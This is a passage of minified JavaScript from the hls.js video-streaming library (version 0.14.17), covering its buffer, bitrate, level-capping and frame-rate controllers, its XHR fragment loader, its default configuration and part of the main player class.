e=this.hls,t=e.maxAutoLevel,r=e.levels,i=e.config,n=e.minAutoLevel,s=e.media,a=this.lastLoadedFragLevel,o=this.fragCurrent?this.fragCurrent.duration:0,l=s?s.currentTime:0,h=s&&0!==s.playbackRate?Math.abs(s.playbackRate):1,u=this._bwEstimator?this._bwEstimator.getEstimate():i.abrEwmaDefaultEstimate,c=(H.bufferInfo(s,l,i.maxBufferHole).end-l)/h,f=this._findBestLevel(a,o,u,n,t,c,i.abrBandWidthFactor,i.abrBandWidthUpFactor,r);if(f>=0)return f;d.logger.trace("rebuffering expected to happen, lets try to find a quality level minimizing the rebuffering");var g=o?Math.min(o,i.maxStarvationDelay):i.maxStarvationDelay,p=i.abrBandWidthFactor,m=i.abrBandWidthUpFactor;if(0===c){var v=this.bitrateTestDelay;v&&(g=(o?Math.min(o,i.maxLoadingDelay):i.maxLoadingDelay)-v,d.logger.trace("bitrate test took "+Math.round(1e3*v)+"ms, set first fragment max fetchDuration to "+Math.round(1e3*g)+" ms"),p=m=1)}return f=this._findBestLevel(a,o,u,n,t,c+g,p,m,r),Math.max(f,0)}}])&&xe(n.prototype,s),h&&xe(n,h),i}(c),Ne=K(),Fe=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.MEDIA_ATTACHING,l.default.MEDIA_DETACHING,l.default.MANIFEST_PARSED,l.default.BUFFER_RESET,l.default.BUFFER_APPENDING,l.default.BUFFER_CODECS,l.default.BUFFER_EOS,l.default.BUFFER_FLUSHING,l.default.LEVEL_PTS_UPDATED,l.default.LEVEL_UPDATED)||this)._msDuration=null,r._levelDuration=null,r._levelTargetDuration=10,r._live=null,r._objectUrl=null,r._needsFlush=!1,r._needsEos=!1,r.config=void 0,r.audioTimestampOffset=void 0,r.bufferCodecEventsExpected=0,r._bufferCodecEventsTotal=0,r.media=null,r.mediaSource=null,r.segments=[],r.parent=void 0,r.appending=!1,r.appended=0,r.appendError=0,r.flushBufferCounter=0,r.tracks={},r.pendingTracks={},r.sourceBuffer={},r.flushRange=[],r._onMediaSourceOpen=function(){d.logger.log("media source opened"),r.hls.trigger(l.default.MEDIA_ATTACHED,{media:r.media});var e=r.mediaSource;e&&e.removeEventListener("sourceopen",r._onMediaSourceOpen),r.checkPendingTracks()},r._onMediaSourceClose=function(){d.logger.log("media source closed")},r._onMediaSourceEnded=function(){d.logger.log("media source ended")},r._onSBUpdateEnd=function(){if(r.audioTimestampOffset&&r.sourceBuffer.audio){var e=r.sourceBuffer.audio;d.logger.warn("change mpeg audio timestamp offset from "+e.timestampOffset+" to "+r.audioTimestampOffset),e.timestampOffset=r.audioTimestampOffset,delete r.audioTimestampOffset}r._needsFlush&&r.doFlush(),r._needsEos&&r.checkEos(),r.appending=!1;var t=r.parent,i=r.segments.reduce((function(e,r){return r.parent===t?e+1:e}),0),n={},s=r.sourceBuffer;for(var a in s){var o=s[a];if(!o)throw Error("handling source buffer update end error: source buffer for "+a+" uninitilized and unable to update buffered TimeRanges.");n[a]=o.buffered}r.hls.trigger(l.default.BUFFER_APPENDED,{parent:t,pending:i,timeRanges:n}),r._needsFlush||r.doAppending(),r.updateMediaElementDuration(),0===i&&r.flushLiveBackBuffer()},r._onSBUpdateError=function(e){d.logger.error("sourceBuffer error:",e),r.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_APPENDING_ERROR,fatal:!1})},r.config=t.config,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){c.prototype.destroy.call(this)},n.onLevelPtsUpdated=function(e){var t=e.type,r=this.tracks.audio;if("audio"===t&&r&&"audio/mpeg"===r.container){var i=this.sourceBuffer.audio;if(!i)throw Error("Level PTS Updated and source buffer for audio uninitalized");if(Math.abs(i.timestampOffset-e.start)>.1){var n=i.updating;try{i.abort()}catch(e){d.logger.warn("can not abort audio buffer: "+e)}n?this.audioTimestampOffset=e.start:(d.logger.warn("change mpeg audio timestamp offset from "+i.timestampOffset+" to "+e.start),i.timestampOffset=e.start)}}},n.onManifestParsed=function(e){var t=2;(e.audio&&!e.video||!e.altAudio)&&(t=1),this.bufferCodecEventsExpected=this._bufferCodecEventsTotal=t,d.logger.log(this.bufferCodecEventsExpected+" bufferCodec event(s) expected")},n.onMediaAttaching=function(e){var t=this.media=e.media;if(t&&Ne){var r=this.mediaSource=new Ne;r.addEventListener("sourceopen",this._onMediaSourceOpen),r.addEventListener("sourceended",this._onMediaSourceEnded),r.addEventListener("sourceclose",this._onMediaSourceClose),t.src=window.URL.createObjectURL(r),this._objectUrl=t.src}},n.onMediaDetaching=function(){d.logger.log("media source detaching");var e=this.mediaSource;if(e){if("open"===e.readyState)try{e.endOfStream()}catch(e){d.logger.warn("onMediaDetaching:"+e.message+" while calling endOfStream")}e.removeEventListener("sourceopen",this._onMediaSourceOpen),e.removeEventListener("sourceended",this._onMediaSourceEnded),e.removeEventListener("sourceclose",this._onMediaSourceClose),this.media&&(this._objectUrl&&window.URL.revokeObjectURL(this._objectUrl),this.media.src===this._objectUrl?(this.media.removeAttribute("src"),this.media.load()):d.logger.warn("media.src was changed by a third party - skip cleanup")),this.mediaSource=null,this.media=null,this._objectUrl=null,this.bufferCodecEventsExpected=this._bufferCodecEventsTotal,this.pendingTracks={},this.tracks={},this.sourceBuffer={},this.flushRange=[],this.segments=[],this.appended=0}this.hls.trigger(l.default.MEDIA_DETACHED)},n.checkPendingTracks=function(){var e=this.bufferCodecEventsExpected,t=this.pendingTracks,r=Object.keys(t).length;(r&&!e||2===r)&&(this.createSourceBuffers(t),this.pendingTracks={},this.doAppending())},n.onBufferReset=function(){var e=this.sourceBuffer;for(var t in e){var r=e[t];try{r&&(this.mediaSource&&this.mediaSource.removeSourceBuffer(r),r.removeEventListener("updateend",this._onSBUpdateEnd),r.removeEventListener("error",this._onSBUpdateError))}catch(e){}}this.sourceBuffer={},this.flushRange=[],this.segments=[],this.appended=0},n.onBufferCodecs=function(e){var t=this;Object.keys(this.sourceBuffer).length||(Object.keys(e).forEach((function(r){t.pendingTracks[r]=e[r]})),this.bufferCodecEventsExpected=Math.max(this.bufferCodecEventsExpected-1,0),this.mediaSource&&"open"===this.mediaSource.readyState&&this.checkPendingTracks())},n.createSourceBuffers=function(e){var t=this.sourceBuffer,r=this.mediaSource;if(!r)throw Error("createSourceBuffers called when mediaSource was null");for(var i in e)if(!t[i]){var n=e[i];if(!n)throw Error("source buffer exists for track "+i+", however track does not");var s=n.levelCodec||n.codec,o=n.container+";codecs="+s;d.logger.log("creating sourceBuffer("+o+")");try{var h=t[i]=r.addSourceBuffer(o);h.addEventListener("updateend",this._onSBUpdateEnd),h.addEventListener("error",this._onSBUpdateError),this.tracks[i]={buffer:h,codec:s,id:n.id,container:n.container,levelCodec:n.levelCodec}}catch(e){d.logger.error("error while trying to add sourceBuffer:"+e.message),this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_ADD_CODEC_ERROR,fatal:!1,err:e,mimeType:o})}}this.hls.trigger(l.default.BUFFER_CREATED,{tracks:this.tracks})},n.onBufferAppending=function(e){this._needsFlush||(this.segments?this.segments.push(e):this.segments=[e],this.doAppending())},n.onBufferEos=function(e){for(var t in this.sourceBuffer)if(!e.type||e.type===t){var r=this.sourceBuffer[t];r&&!r.ended&&(r.ended=!0,d.logger.log(t+" sourceBuffer now EOS"))}this.checkEos()},n.checkEos=function(){var e=this.sourceBuffer,t=this.mediaSource;if(t&&"open"===t.readyState){for(var r in e){var i=e[r];if(i){if(!i.ended)return;if(i.updating)return void(this._needsEos=!0)}}d.logger.log("all media data are available, signal endOfStream() to MediaSource and stop loading fragment");try{t.endOfStream()}catch(e){d.logger.warn("exception while calling mediaSource.endOfStream()")}this._needsEos=!1}else this._needsEos=!1},n.onBufferFlushing=function(e){e.type?this.flushRange.push({start:e.startOffset,end:e.endOffset,type:e.type}):(this.flushRange.push({start:e.startOffset,end:e.endOffset,type:"video"}),this.flushRange.push({start:e.startOffset,end:e.endOffset,type:"audio"})),this.flushBufferCounter=0,this.doFlush()},n.flushLiveBackBuffer=function(){if(this._live){var e=this.config.liveBackBufferLength;if(isFinite(e)&&!(e<0))if(this.media)for(var t=this.media.currentTime,r=this.sourceBuffer,i=Object.keys(r),n=t-Math.max(e,this._levelTargetDuration),s=i.length-1;s>=0;s--){var a=i[s],o=r[a];if(o){var h=o.buffered;h.length>0&&n>h.start(0)&&this.removeBufferRange(a,o,0,n)&&this.hls.trigger(l.default.LIVE_BACK_BUFFER_REACHED,{bufferEnd:n})}}else d.logger.error("flushLiveBackBuffer called without attaching media")}},n.onLevelUpdated=function(e){var t=e.details;t.fragments.length>0&&(this._levelDuration=t.totalduration+t.fragments[0].start,this._levelTargetDuration=t.averagetargetduration||t.targetduration||10,this._live=t.live,this.updateMediaElementDuration())},n.updateMediaElementDuration=function(){var e,t=this.config;if(null!==this._levelDuration&&this.media&&this.mediaSource&&this.sourceBuffer&&0!==this.media.readyState&&"open"===this.mediaSource.readyState){for(var r in this.sourceBuffer){var i=this.sourceBuffer[r];if(i&&!0===i.updating)return}e=this.media.duration,null===this._msDuration&&(this._msDuration=this.mediaSource.duration),!0===this._live&&!0===t.liveDurationInfinity?(d.logger.log("Media Source duration is set to Infinity"),this._msDuration=this.mediaSource.duration=1/0):(this._levelDuration>this._msDuration&&this._levelDuration>e||!Object(o.isFiniteNumber)(e))&&(d.logger.log("Updating Media Source duration to "+this._levelDuration.toFixed(3)),this._msDuration=this.mediaSource.duration=this._levelDuration)}},n.doFlush=function(){for(;this.flushRange.length;){var e=this.flushRange[0];if(!this.flushBuffer(e.start,e.end,e.type))return void(this._needsFlush=!0);this.flushRange.shift(),this.flushBufferCounter=0}if(0===this.flushRange.length){this._needsFlush=!1;var t=0,r=this.sourceBuffer;try{for(var i in r){var n=r[i];n&&(t+=n.buffered.length)}}catch(e){d.logger.error("error while accessing sourceBuffer.buffered")}this.appended=t,this.hls.trigger(l.default.BUFFER_FLUSHED)}},n.doAppending=function(){var e=this.config,t=this.hls,r=this.segments,i=this.sourceBuffer;if(Object.keys(i).length){if(!this.media||this.media.error)return this.segments=[],void d.logger.error("trying to append although a media error occured, flush segment and abort");if(!this.appending){var n=r.shift();if(n)try{var s=i[n.type];if(!s)return void this._onSBUpdateEnd();if(s.updating)return void r.unshift(n);s.ended=!1,this.parent=n.parent,s.appendBuffer(n.data),this.appendError=0,this.appended++,this.appending=!0}catch(i){d.logger.error("error while trying to append buffer:"+i.message),r.unshift(n);var o={type:a.ErrorTypes.MEDIA_ERROR,parent:n.parent,details:"",fatal:!1};22===i.code?(this.segments=[],o.details=a.ErrorDetails.BUFFER_FULL_ERROR):(this.appendError++,o.details=a.ErrorDetails.BUFFER_APPEND_ERROR,this.appendError>e.appendErrorMaxRetry&&(d.logger.log("fail "+e.appendErrorMaxRetry+" times to append segment in sourceBuffer"),this.segments=[],o.fatal=!0)),t.trigger(l.default.ERROR,o)}}}},n.flushBuffer=function(e,t,r){var i=this.sourceBuffer;if(!Object.keys(i).length)return!0;var n="null";if(this.media&&(n=this.media.currentTime.toFixed(3)),d.logger.log("flushBuffer,pos/start/end: "+n+"/"+e+"/"+t),this.flushBufferCounter>=this.appended)return d.logger.warn("abort flushing too many retries"),!0;var s=i[r];if(s){if(s.ended=!1,s.updating)return d.logger.warn("cannot flush, sb updating in progress"),!1;if(this.removeBufferRange(r,s,e,t))return this.flushBufferCounter++,!1}return d.logger.log("buffer flushed"),!0},n.removeBufferRange=function(e,t,r,i){try{for(var n=0;n<t.buffered.length;n++){var s=t.buffered.start(n),a=t.buffered.end(n),o=Math.max(s,r),l=Math.min(a,i);if(Math.min(l,a)-o>.5){var h="null";return this.media&&(h=this.media.currentTime.toString()),d.logger.log("sb remove "+e+" ["+o+","+l+"], of ["+s+","+a+"], pos:"+h),t.remove(o,l),!0}}}catch(e){d.logger.warn("removeBufferRange failed",e)}return!1},i}(c);function Ue(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var Be,Ge=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.FPS_DROP_LEVEL_CAPPING,l.default.MEDIA_ATTACHING,l.default.MANIFEST_PARSED,l.default.LEVELS_UPDATED,l.default.BUFFER_CODECS,l.default.MEDIA_DETACHING)||this).autoLevelCapping=Number.POSITIVE_INFINITY,r.firstLevel=null,r.levels=[],r.media=null,r.restrictedLevels=[],r.timer=null,r.clientRect=null,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n,s,a,o=i.prototype;return o.destroy=function(){this.hls.config.capLevelToPlayerSize&&(this.media=null,this.clientRect=null,this.stopCapping())},o.onFpsDropLevelCapping=function(e){i.isLevelAllowed(e.droppedLevel,this.restrictedLevels)&&this.restrictedLevels.push(e.droppedLevel)},o.onMediaAttaching=function(e){this.media=e.media instanceof window.HTMLVideoElement?e.media:null},o.onManifestParsed=function(e){var t=this.hls;this.restrictedLevels=[],this.levels=e.levels,this.firstLevel=e.firstLevel,t.config.capLevelToPlayerSize&&e.video&&this.startCapping()},o.onBufferCodecs=function(e){this.hls.config.capLevelToPlayerSize&&e.video&&this.startCapping()},o.onLevelsUpdated=function(e){this.levels=e.levels},o.onMediaDetaching=function(){this.stopCapping()},o.detectPlayerSize=function(){if(this.media){var e=this.levels?this.levels.length:0;if(e){var t=this.hls;t.autoLevelCapping=this.getMaxLevel(e-1),t.autoLevelCapping>this.autoLevelCapping&&t.streamController.nextLevelSwitch(),this.autoLevelCapping=t.autoLevelCapping}}},o.getMaxLevel=function(e){var t=this;if(!this.levels)return-1;var r=this.levels.filter((function(r,n){return i.isLevelAllowed(n,t.restrictedLevels)&&n<=e}));return this.clientRect=null,i.getMaxLevelByMediaSize(r,this.mediaWidth,this.mediaHeight)},o.startCapping=function(){this.timer||(this.autoLevelCapping=Number.POSITIVE_INFINITY,this.hls.firstLevel=this.getMaxLevel(this.firstLevel),clearInterval(this.timer),this.timer=setInterval(this.detectPlayerSize.bind(this),1e3),this.detectPlayerSize())},o.stopCapping=function(){this.restrictedLevels=[],this.firstLevel=null,this.autoLevelCapping=Number.POSITIVE_INFINITY,this.timer&&(this.timer=clearInterval(this.timer),this.timer=null)},o.getDimensions=function(){if(this.clientRect)return this.clientRect;var e=this.media,t={width:0,height:0};if(e){var r=e.getBoundingClientRect();t.width=r.width,t.height=r.height,t.width||t.height||(t.width=r.right-r.left||e.width||0,t.height=r.bottom-r.top||e.height||0)}return this.clientRect=t,t},i.isLevelAllowed=function(e,t){return void 0===t&&(t=[]),-1===t.indexOf(e)},i.getMaxLevelByMediaSize=function(e,t,r){if(!e||e&&!e.length)return-1;for(var i,n,s=e.length-1,a=0;a<e.length;a+=1){var o=e[a];if((o.width>=t||o.height>=r)&&(i=o,!(n=e[a+1])||i.width!==n.width||i.height!==n.height)){s=a;break}}return s},n=i,a=[{key:"contentScaleFactor",get:function(){var e=1;try{e=window.devicePixelRatio}catch(e){}return e}}],(s=[{key:"mediaWidth",get:function(){return this.getDimensions().width*i.contentScaleFactor}},{key:"mediaHeight",get:function(){return this.getDimensions().height*i.contentScaleFactor}}])&&Ue(n.prototype,s),a&&Ue(n,a),i}(c),je=window.performance,$e=function(e){var t,r;function i(t){return e.call(this,t,l.default.MEDIA_ATTACHING)||this}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){this.timer&&clearInterval(this.timer),this.isVideoPlaybackQualityAvailable=!1},n.onMediaAttaching=function(e){var t=this.hls.config;t.capLevelOnFPSDrop&&("function"==typeof(this.video=e.media instanceof window.HTMLVideoElement?e.media:null).getVideoPlaybackQuality&&(this.isVideoPlaybackQualityAvailable=!0),clearInterval(this.timer),this.timer=setInterval(this.checkFPSInterval.bind(this),t.fpsDroppedMonitoringPeriod))},n.checkFPS=function(e,t,r){var i=je.now();if(t){if(this.lastTime){var n=i-this.lastTime,s=r-this.lastDroppedFrames,a=t-this.lastDecodedFrames,o=1e3*s/n,h=this.hls;if(h.trigger(l.default.FPS_DROP,{currentDropped:s,currentDecoded:a,totalDroppedFrames:r}),o>0&&s>h.config.fpsDroppedMonitoringThreshold*a){var u=h.currentLevel;d.logger.warn("drop FPS ratio greater than max allowed value for currentLevel: "+u),u>0&&(-1===h.autoLevelCapping||h.autoLevelCapping>=u)&&(u-=1,h.trigger(l.default.FPS_DROP_LEVEL_CAPPING,{level:u,droppedLevel:h.currentLevel}),h.autoLevelCapping=u,h.streamController.nextLevelSwitch())}}this.lastTime=i,this.lastDroppedFrames=r,this.lastDecodedFrames=t}},n.checkFPSInterval=function(){var e=this.video;if(e)if(this.isVideoPlaybackQualityAvailable){var t=e.getVideoPlaybackQuality();this.checkFPS(e,t.totalVideoFrames,t.droppedVideoFrames)}else this.checkFPS(e,e.webkitDecodedFrameCount,e.webkitDroppedFrameCount)},i}(c),He=function(){function e(e){e&&e.xhrSetup&&(this.xhrSetup=e.xhrSetup)}var t=e.prototype;return t.destroy=function(){this.abort(),this.loader=null},t.abort=function(){var e=this.loader;e&&4!==e.readyState&&(this.stats.aborted=!0,e.abort()),window.clearTimeout(this.requestTimeout),this.requestTimeout=null,window.clearTimeout(this.retryTimeout),this.retryTimeout=null},t.load=function(e,t,r){this.context=e,this.config=t,this.callbacks=r,this.stats={trequest:window.performance.now(),retry:0},this.retryDelay=t.retryDelay,this.loadInternal()},t.loadInternal=function(){var e,t=this.context;e=this.loader=new window.XMLHttpRequest;var r=this.stats;r.tfirst=0,r.loaded=0;var i=this.xhrSetup;try{if(i)try{i(e,t.url)}catch(r){e.open("GET",t.url,!0),i(e,t.url)}e.readyState||e.open("GET",t.url,!0)}catch(r){return void this.callbacks.onError({code:e.status,text:r.message},t,e)}t.rangeEnd&&e.setRequestHeader("Range","bytes="+t.rangeStart+"-"+(t.rangeEnd-1)),e.onreadystatechange=this.readystatechange.bind(this),e.onprogress=this.loadprogress.bind(this),e.responseType=t.responseType,this.requestTimeout=window.setTimeout(this.loadtimeout.bind(this),this.config.timeout),e.send()},t.readystatechange=function(e){var t=e.currentTarget,r=t.readyState,i=this.stats,n=this.context,s=this.config;if(!i.aborted&&r>=2)if(window.clearTimeout(this.requestTimeout),0===i.tfirst&&(i.tfirst=Math.max(window.performance.now(),i.trequest)),4===r){var a=t.status;if(a>=200&&a<300){var o,l;i.tload=Math.max(i.tfirst,window.performance.now()),l="arraybuffer"===n.responseType?(o=t.response).byteLength:(o=t.responseText).length,i.loaded=i.total=l;var h={url:t.responseURL,data:o};this.callbacks.onSuccess(h,i,n,t)}else i.retry>=s.maxRetry||a>=400&&a<499?(d.logger.error(a+" while loading "+n.url),this.callbacks.onError({code:a,text:t.statusText},n,t)):(d.logger.warn(a+" while loading "+n.url+", retrying in "+this.retryDelay+"..."),this.destroy(),this.retryTimeout=window.setTimeout(this.loadInternal.bind(this),this.retryDelay),this.retryDelay=Math.min(2*this.retryDelay,s.maxRetryDelay),i.retry++)}else this.requestTimeout=window.setTimeout(this.loadtimeout.bind(this),s.timeout)},t.loadtimeout=function(){d.logger.warn("timeout while loading "+this.context.url),this.callbacks.onTimeout(this.stats,this.context,null)},t.loadprogress=function(e){var t=e.currentTarget,r=this.stats;r.loaded=e.loaded,e.lengthComputable&&(r.total=e.total);var i=this.callbacks.onProgress;i&&i(r,this.context,null,t)},e}(),qe=r("./src/empty.js");function We(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);t&&(i=i.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,i)}return r}function Ve(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?We(Object(r),!0).forEach((function(t){Ke(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):We(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function Ke(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}!function(e){e.WIDEVINE="com.widevine.alpha",e.PLAYREADY="com.microsoft.playready"}(Be||(Be={}));var ze=Ve(Ve({autoStartLoad:!0,startPosition:-1,defaultAudioCodec:void 0,debug:!1,capLevelOnFPSDrop:!1,capLevelToPlayerSize:!1,initialLiveManifestSize:1,maxBufferLength:30,maxBufferSize:6e7,maxBufferHole:.5,lowBufferWatchdogPeriod:.5,highBufferWatchdogPeriod:3,nudgeOffset:.1,nudgeMaxRetry:3,maxFragLookUpTolerance:.25,liveSyncDurationCount:3,liveMaxLatencyDurationCount:1/0,liveSyncDuration:void 0,liveMaxLatencyDuration:void 0,liveDurationInfinity:!1,liveBackBufferLength:1/0,maxMaxBufferLength:600,enableWorker:!0,enableSoftwareAES:!0,manifestLoadingTimeOut:1e4,manifestLoadingMaxRetry:1,manifestLoadingRetryDelay:1e3,manifestLoadingMaxRetryTimeout:64e3,startLevel:void 0,levelLoadingTimeOut:1e4,levelLoadingMaxRetry:4,levelLoadingRetryDelay:1e3,levelLoadingMaxRetryTimeout:64e3,fragLoadingTimeOut:2e4,fragLoadingMaxRetry:6,fragLoadingRetryDelay:1e3,fragLoadingMaxRetryTimeout:64e3,startFragPrefetch:!1,fpsDroppedMonitoringPeriod:5e3,fpsDroppedMonitoringThreshold:.2,appendErrorMaxRetry:3,loader:He,fLoader:void 0,pLoader:void 0,xhrSetup:void 0,licenseXhrSetup:void 0,abrController:Me,bufferController:Fe,capLevelController:Ge,fpsController:$e,stretchShortVideoTrack:!1,maxAudioFramesDrift:1,forceKeyFrameOnDiscontinuity:!0,abrEwmaFastLive:3,abrEwmaSlowLive:9,abrEwmaFastVoD:3,abrEwmaSlowVoD:9,abrEwmaDefaultEstimate:5e5,abrBandWidthFactor:.95,abrBandWidthUpFactor:.7,abrMaxWithRealBitrate:!1,maxStarvationDelay:4,maxLoadingDelay:4,minAutoBitrate:0,emeEnabled:!1,widevineLicenseUrl:void 0,drmSystemOptions:{},requestMediaKeySystemAccessFunc:"undefined"!=typeof window&&window.navigator&&window.navigator.requestMediaKeySystemAccess?window.navigator.requestMediaKeySystemAccess.bind(window.navigator):null,testBandwidth:!0},{cueHandler:qe,enableCEA708Captions:!1,enableWebVTT:!1,captionsTextTrack1Label:"English",captionsTextTrack1LanguageCode:"en",captionsTextTrack2Label:"Spanish",captionsTextTrack2LanguageCode:"es",captionsTextTrack3Label:"Unknown CC",captionsTextTrack3LanguageCode:"",captionsTextTrack4Label:"Unknown CC",captionsTextTrack4LanguageCode:"",renderTextTracksNatively:!0}),{},{subtitleStreamController:void 0,subtitleTrackController:void 0,timelineController:void 0,audioStreamController:void 0,audioTrackController:void 0,emeController:void 0});function Xe(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);t&&(i=i.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,i)}return r}function Ye(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?Xe(Object(r),!0).forEach((function(t){Je(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Xe(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function Je(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function Qe(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Ze(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}function et(e,t,r){return t&&Ze(e.prototype,t),r&&Ze(e,r),e}var tt=function(e){var t,r;function i(t){var r;void 0===t&&(t={}),(r=e.call(this)||this).config=void 0,r._autoLevelCapping=void 0,r.abrController=void 0,r.capLevelController=void 0,r.levelController=void 0,r.streamController=void 0,r.networkControllers=void 0,r.audioTrackController=void 0,r.subtitleTrackController=void 0,r.emeController=void 0,r.coreComponents=void 0,r.media=null,r.url=null;var n=i.DefaultConfig;if((t.liveSyncDurationCount||t.liveMaxLatencyDurationCount)&&(t.liveSyncDuration||t.liveMaxLatencyDuration))throw new Error("Illegal hls.js config: don't mix up liveSyncDurationCount/liveMaxLatencyDurationCount and liveSyncDuration/liveMaxLatencyDuration");r.config=Ye(Ye({},n),t);var s=Qe(r).config;if(void 0!==s.liveMaxLatencyDurationCount&&s.liveMaxLatencyDurationCount<=s.liveSyncDurationCount)throw new Error('Illegal hls.js config: "liveMaxLatencyDurationCount" must be gt "liveSyncDurationCount"');if(void 0!==s.liveMaxLatencyDuration&&(void 0===s.liveSyncDuration||s.liveMaxLatencyDuration<=s.liveSyncDuration))throw new Error('Illegal hls.js config: "liveMaxLatencyDuration" must be gt "liveSyncDuration"');Object(d.enableLogs)(s.debug),r._autoLevelCapping=-1;var a=r.abrController=new s.abrController(Qe(r)),o=new s.bufferController(Qe(r)),l=r.capLevelController=new s.capLevelController(Qe(r)),h=new s.fpsController(Qe(r)),u=new O(Qe(r)),c=new M(Qe(r)),f=new N(Qe(r)),g=new De(Qe(r)),p=r.levelController=new Le(Qe(r)),m=new j(Qe(r)),v=[p,r.streamController=new Ae(Qe(r),m)],_=s.audioStreamController;_&&v.push(new _(Qe(r),m)),r.networkControllers=v;var y=[u,c,f,a,o,l,h,g,m];if(_=s.audioTrackController){var E=new _(Qe(r));r.audioTrackController=E,y.push(E)}if(_=s.subtitleTrackController){var b=new _(Qe(r));r.subtitleTrackController=b,v.push(b)}if(_=s.emeController){var S=new _(Qe(r));r.emeController=S,y.push(S)}return(_=s.subtitleStreamController)&&v.push(new _(Qe(r),m)),(_=s.timelineController)&&y.push(new _(Qe(r))),r.coreComponents=y,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r,i.isSupported=function(){return function(){var e=K();if(!e)return!1;var t=self.SourceBuffer||self.WebKitSourceBuffer,r=e&&"function"==typeof e.isTypeSupported&&e.isTypeSupported('video/mp4; codecs="avc1.42E01E,mp4a.40.2"'),i=!t||t.prototype&&"function"==typeof t.prototype.appendBuffer&&"function"==typeof t.prototype.remove;return!!r&&!!i}()},et(i,null,[{key:"version",get:function(){return"0.14.17"}},{key:"Events",get:function(){return l.default}},{key:"ErrorTypes",get:function(){return a.ErrorTypes}},{key:"ErrorDetails",get:function(){return a.ErrorDetails}},{key:"DefaultConfig",get:function(){return i.defaultConfig?i.defaultConfig:ze},set:function(e){i.defaultConfig=e}}]);var n=i.prototype;return n.destroy=function(){d.logger.log("destroy"),this.trigger(l.default.DESTROYING),this.detachMedia(),this.coreComponents.concat(this.networkControllers).forEach((function(e){e.destroy()})),this.url=null,this.removeAllListeners(),this._autoLevelCapping=-1},n.attachMedia=function(e){d.logger.log("attachMedia"),this.media=e,this.trigger(l.default.MEDIA_ATTACHING,{media:e})},n.detachMedia=function(){d.logger.log("detachMedia"),this.trigger(l.default.MEDIA_DETACHING),this.media=null},n.loadSource=function(e){e=s.buildAbsoluteURL(window.location.href,e,{alwaysNormalize:!0}),d.logger.log("loadSource:"+e),this.url=e,this.trigger(l.default.MANIFEST_LOADING,{url:e})},n.startLoad=function(e){void 0===e&&(e=-1),d.logger.log("startLoad("+e+")"),this.networkControllers.forEach((function(t){t.startLoad(e)}))},n.stopLoad=function(){d.logger.log("stopLoad"),this.networkControllers.forEach((function(e){e.stopLoad()}))},n.swapAudioCodec=function(){d.logger.log("swapAudioCodec"),this.streamController.swapAudioCodec()},n.recoverMediaError=function(){d.logger.log("recoverMediaError");var e=this.media;this.detachMedia(),e&&this.attachMedia(e)},n.removeLevel=function(e,t){void 0===t&&(t=0),this.levelController.removeLevel(e,t)},et(i,[{key:"levels",get:function(){return this.levelController.levels}},{key:"currentLevel",get:function(){return this.streamController.currentLevel},set:function(e){d.logger.log("set currentLevel:"+e),this.loadLevel=e,this.streamController.immediateLevelSwitch()}},{key:"nextLevel",get:function(){return this.streamController.nextLevel},set:function(e){d.logger.log("set nextLevel:"+e),this.levelController.manualLevel=e,this.streamController.nextLevelSwitch()}},{key:"loadLevel",get:function(){return this.levelController.level},set:function(e){d.logger.log("set loadLevel:"+e),this.levelController.manualLevel=e}},{key:"nextLoadLevel",get:function(){return this.levelController.nextLoadLevel},set:function(e){this.levelController.nextLoadLevel=e}},{key:"firstLevel",get:function(){return Math.max(this.levelController.firstLevel,this.minAutoLevel)},set:function(e){d.logger.log("set firstLevel:"+e),this.levelController.firstLevel=e}},{key:"startLevel",get:function(){return this.levelController.startLevel},set:function(e){d.logger.log("set startLevel:"+e),-1!==e&&(e=Math.max(e,this.minAutoLevel)),this.levelController.startLevel=e}},{key:"capLevelToPlayerSize",set:function(e){var t=!!e;t!==this.config.capLevelToPlayerSize&&(t?this.capLevelController.startCapping():(this.capLevelController.stopCapping(),this.autoLevelCapping=-1,this.streamController.nextLevelSwitch()),this.config.capLevelToPlayerSize=t)}},{key:"autoLevelCapping",get:function(){return this._autoLevelCapping},set:function(e){d.logger.log("set autoLevelCapping:"+e),this._autoLevelCapping=e}},{key:"bandwidthEstimate",get:function(){var e=this.abrController._bwEstimator;return 